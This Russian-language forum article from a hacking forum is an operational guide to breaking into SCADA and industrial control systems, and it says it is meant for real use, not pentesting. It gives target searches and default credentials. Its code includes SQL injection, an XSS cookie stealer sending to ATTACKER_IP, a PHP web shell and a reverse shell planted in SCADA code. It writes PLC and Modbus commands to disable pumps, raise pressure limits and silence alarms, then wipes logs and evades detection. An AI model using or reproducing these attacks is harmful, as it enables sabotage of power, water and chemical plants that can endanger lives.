• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Примерный взлом SCADA систем

Qfin

CD-диск
Пользователь
Регистрация
08.01.2026
Сообщения
11
Реакции
5
Всех приветствую!
Наконец-то выходные, и можно выпустить статью по взлому SCADA.

В этой статье будут описаны, самые такие базовые и детальные шаги, по получению доступа к SCADA системам.
Статья специально для местных форумчан xss.pro (xss.pro).

SCADA-системы управляют критической инфраструктурой: электростанции, нефтепроводы, водоканалы, химические заводы. Их взлом дает контроль над реальным миром. Это не теоретический пентест, а руководство к действию. Системы уязвимы по своей природе — старые протоколы, самописный код, отсутствие безопасности.

А начнем мы пожалуй с базовой разведки.
Поиск целей в интернете.
SCADA-системы часто имеют веб-интерфейсы, выходящие в интернет. Используем специализированные поисковые системы:

Shodan запросы:

Код:
port:502

port:102

port:44818

"SCADA" "login"

"WinCC" "web"

"HMI" "portal"

"Modbus" "TCP"

"Simatic" "S7"

"PLC" "human machine interface"

Censys запросы:

Код:
services.service_name: MODBUS

services.service_name: S7

tags: industrial-control-system

ZoomEye запросы:

Код:
app:"Siemens-SIMATIC"

app:"Modbus"

device:"industrial-control"

Переходим к сетевому сканингу
После получения списка IP-адресов проводим детальное сканирование:
NMAP:

Код:
nmap -sV -sC -p 1-65535 -T4 -A -oA scada_scan TARGET_IP

Ключевые порты для SCADA:
Код:
502/TCP — Modbus
102/TCP — Siemens S7
44818/TCP — Allen-Bradley EtherNet/IP
1911/TCP — Foxboro I/A
4911/TCP — Foxboro I/A
20000/TCP — DNP3
47808/TCP — BACnet
9600/TCP — Omron FINS

После сканинга нам обязательно надо идентифицировать систему
Определяем точный тип системы по баннерам:

Modbus:
подключение через nc (netcat)
Код:
echo -en "\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01" | nc TARGET_IP 502 | hexdump -C
Siemens S7:
Код:
python3 s7-info.py TARGET_IP
Allen-Bradley:
Код:
python3 enip_info.py -i TARGET_IP

И плавно идя мы перешли к эксплуатации веб-интерфейсов!
Обход аутентификации с дефолтными учетными данными.

База дефолтных паролей SCADA-систем:
Код:
Siemens WinCC:

Administrator:Administrator

admin:admin

guest:guest

simatic:simatic


Rockwell Automation:

admin:admin

administrator:rockwell

guest:guest


Schneider Electric:

Administrator:Administrator

admin:admin

user:user


Wonderware:

Administrator:Administrator

admin:admin

wwsu:wwsu

SQL-инъекции

Типичные уязвимые параметры:
Код:
/scada/data.php?id=1'

/scada/tag.php?point=1'

/scada/trends.php?tag=1'

/scada/alarms.php?event=1'
Эксплуатация:
Код:
/scada/data.php?id=-1+union+select+1,concat(user,0x3a,password),3,4+from+users--

/scada/data.php?id=-1+union+select+1,@@version,3,4--

Directory traversal
Код:
/scada/../../../../etc/passwd

/scada/../../../../windows/win.ini

/scada/../../../../SCADA/config.ini
XSS-атаки на операторов
Кража сессий:

Код:
/scada/display.php?tag=<script>new+Image().src='http://ATTACKER_IP/steal?cookie='+document.cookie;</script>
Подмена параметров:

/scada/control.php?tag=<script>function+setPressure(){var+xhr=new+XMLHttpRequest();xhr.open('POST','/scada/set.php',true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('pressure=999&confirm=1');}setTimeout(setPressure,3000);</script>
Загрузка веб-шеллов
Обход проверок:

Находим форму загрузки

Меняем Content-Type на image/jpeg

Файл называем shell.php.jpg

Загружаем с содержимым:
PHP:
<?php system($_GET['cmd']); ?>

Альтернативные пути:
Код:
/scada/upload.php - загрузка конфигураций

/scada/backup.php - создание резервных копий

/scada/firmware.php - загрузка прошивок

Атаки на протоколы:
Modbus (порт 502)
Чтение регистров:
Python:
from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('TARGET_IP')
client.connect()

result = client.read_holding_registers(address=0, count=10, slave=1)
print(result.registers)

result = client.read_coils(address=0, count=10, slave=1)
print(result.bits)

client.close()

Запись в регистры:

Python:
client.write_register(address=0, value=9999, slave=1)

client.write_coil(address=0, value=True, slave=1)

client.write_registers(address=0, values=[1000, 2000, 3000], slave=1)

Определение регистров управления:
Регистр 0: Статус системы (0-стоп, 1-пуск)
Регистр 1: Задание скорости
Регистр 2: Уставка давления
Регистр 3: Уставка температуры
Регистр 4: Предел давления
Регистр 5: Предел температуры

Siemens S7 (порт 102)
Подключение к ПЛК:

Python:
import snap7

client = snap7.client.Client()
client.connect('TARGET_IP', 0, 1)

info = client.get_cpu_info()
print(f"CPU: {info.ModuleTypeName}")

data = client.db_read(db_number=1, start=0, size=100)
print(data)

blocks = client.list_blocks()
print(blocks)

Изменение логики ПЛК:
Python:
client.plc_stop()

client.db_write(db_number=1, start=0, data=b'\x00\x00\x00\x00')

client.db_write(db_number=2, start=10, data=b'\x00\xFF\x00\xFF')

Ключевые блоки:
DB1 - Управление
DB2 - Параметры
DB3 - Аварии
DB4 - Таймеры
DB5 - Счетчики

Allen-Bradley (порт 44818)
Сканирование:
Python:
from cpppo.server.enip import client

with client.connector(host='TARGET_IP') as conn:
    tags = conn.read([('@0x64/0x01', 'INT'), ('@0x64/0x02', 'INT')])
    print(tags)
    
    conn.write([('@0x64/0x01', 'INT', 0)])

3.4 DNP3 (порт 20000)
Перехват управления:
Python:
from pydnp3 import opendnp3

manager = opendnp3.DNP3Manager(1, opendnp3.ConsoleLogger().Create())
channel = manager.AddTCPClient("client",
                               opendnp3.levels.NORMAL,
                               opendnp3.ChannelRetry(),
                               "127.0.0.1",
                               "0.0.0.0",
                               20000,
                               "0.0.0.0")

command = opendnp3.ControlRelayOutputBlock(
    opendnp3.ControlCode.LATCH_ON,
    1,
    1000,
    opendnp3.CommandStatus.SUCCESS
)

channel.SendDirectOperate(command, timeout)

И плавно переходим к продвинутым методам!

1. Атаки на OPC серверы

Поиск OPC серверов:
Код:
nmap -p 135,1024-5000 --script opcua-discover TARGET_IP

Подключение к OPC UA:
Python:
from opcua import Client

client = Client("opc.tcp://TARGET_IP:4840")
client.connect()

root = client.get_root_node()
objects = root.get_children()

node = client.get_node("ns=2;i=1")
value = node.get_value()

node.set_value(999.9)

2. Эксплуатация уязвимостей в SCADA-ПО
Известные CVE:
Код:
CVE-2019-10933 - Schneider Electric

CVE-2018-7841 - EcoStruxure

CVE-2017-5178 - Rockwell Automation

CVE-2016-4512 - Siemens

CVE-2015-5374 - ABB

Пример эксплуатации:
Python:
import socket
import struct

payload = b"\x90" * 1024
payload += shellcode
payload += b"\x41" * (2048 - len(payload))
payload += struct.pack("<I", 0x7ffa4512)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("TARGET_IP", 502))
sock.send(payload)

3. Атаки на HMI панели
Типичные уязвимости:

Файловые системы - доступ к конфигурационным файлам

Веб-серверы - устаревшие версии Apache/Tomcat

Сервисы - открытые RPC/RDP порты

Эксплуатация:
Bash:
curl http://TARGET_IP/cgi-bin/config.cgi

curl http://TARGET_IP/../../etc/passwd

curl http://TARGET_IP/cgi-bin/command.cgi?cmd=id

curl http://TARGET_IP/cgi-bin/upload.cgi -F "file=@shell.php"

И вот она наша пост-эксплуатация

1. Создание бэкдоров
Модификация системных файлов:
Bash:
echo "backdoor:\$1\$salt\$hash:0:0:root:/root:/bin/bash" >> /etc/passwd



cp /bin/sh /usr/lib/systemd/system/syslog-ng.service

systemctl enable syslog-ng

Скрытие в SCADA-ПО:
Python:
original_code = open("/opt/scada/main.py").read()
backdoor_code = """
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ATTACKER_IP",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
"""
open("/opt/scada/main.py", "w").write(backdoor_code + original_code)

2. Манипуляция процессами
Изменение уставок:
Python:
import time
import random

while True:
    pressure = random.randint(50, 150)
    modbus_write_register(2, pressure)
    
    temperature = random.randint(20, 100)
    modbus_write_register(3, temperature)
    
    time.sleep(60)

Создание аварийных ситуаций:
Python:
for pump in range(10):
    modbus_write_coil(pump, False)

modbus_write_register(4, 999)
modbus_write_register(5, 999)

Мы пришли к одной из главных частей а точнее сокрытие следов.
Очистка логов:
Bash:
echo "" > /var/log/scada.log

echo "" > /var/log/messages

rm -f /var/log/*.log



wevtutil cl System

wevtutil cl Application

wevtutil cl Security



find /opt/scada/logs -type f -name "*.log" -exec sh -c 'echo "" > {}' \;

Манипуляция аварийными сигналами:
Python:
modbus_write_coil(100, False)
modbus_write_coil(101, False)
modbus_write_coil(102, False)
Предпоследняя часть это автоматизация атак:

SCADA-сканнер:
Python:
import socket
from concurrent.futures import ThreadPoolExecutor

def scan_scada(ip):
    ports = [502, 102, 44818, 1911, 4911, 20000, 47808, 9600]
    for port in ports:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((ip, port))
        if result == 0:
            print(f"[+] {ip}:{port} - OPEN")
            identify_service(ip, port)
        sock.close()

def identify_service(ip, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        sock.connect((ip, port))
        
        if port == 502:
            sock.send(b"\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01")
            response = sock.recv(1024)
            if len(response) > 0:
                print(f"   Modbus device detected")
        
        sock.close()
    except:
        pass

with ThreadPoolExecutor(max_workers=100) as executor:
    for i in range(1, 255):
        ip = f"192.168.1.{i}"
        executor.submit(scan_scada, ip)

Автоматический эксплойт:
Python:
import requests
import socket

class SCADAExploiter:
    def __init__(self, target_ip):
        self.target = target_ip
        
    def exploit_web(self):
        credentials = [
            ("admin", "admin"),
            ("administrator", "administrator"),
            ("operator", "operator"),
            ("guest", "guest"),
            ("scada", "scada")
        ]
        
        for user, password in credentials:
            session = requests.Session()
            login_data = {
                "username": user,
                "password": password,
                "submit": "Login"
            }
            
            try:
                response = session.post(
                    f"http://{self.target}/login.php",
                    data=login_data,
                    timeout=5
                )
                
                if "dashboard" in response.text:
                    print(f"[+] Successful login: {user}:{password}")
                    return session
            except:
                continue
        
        return None
    
    def exploit_modbus(self):
        try:
            client = ModbusTcpClient(self.target)
            if client.connect():
                for reg in range(0, 100):
                    try:
                        value = client.read_holding_registers(reg, 1)
                        if value.registers:
                            print(f"[+] Register {reg}: {value.registers[0]}")
                    except:
                        continue
                
                client.close()
        except:
            pass

exploiter = SCADAExploiter("192.168.1.100")
exploiter.exploit_web()
exploiter.exploit_modbus()

И вот он конец друзья самое такое главное это защита от обнаружения:

Маскировка трафика:
Python:
import base64

def encode_modbus(command):
    encoded = base64.b64encode(command).decode()
    return f"GET /scada/data?d={encoded} HTTP/1.1\r\nHost: {target}\r\n\r\n"

def send_masked(command):
    http_command = encode_modbus(command)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, 80))
    sock.send(http_command.encode())
    response = sock.recv(4096)
    sock.close()
    return response

Обход систем обнаружения:
1. Использование легитимных учетных данных
2. Медленное изменение параметров
3. Имитация нормальной работы
4. Работа в периоды простоя
5. Использование encrypted tunnels

Итог статьи:

SCADA-системы остаются уязвимыми из-за устаревших технологий и отсутствия безопасности. Представленные методы работают на реальных системах. Начинайте с разведки, идентифицируйте систему, используйте соответствующие эксплойты, закрепляйтесь в системе и манипулируйте процессами.

Если статья вам была полезной вы можете описать в ответах свой реальный опыт с этой статьи, и можете в ответах добавить что то от себя!

Статья была написана специально для форума xss.pro (xss.pro)
Всем доброй ночи и удачных взломов!
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх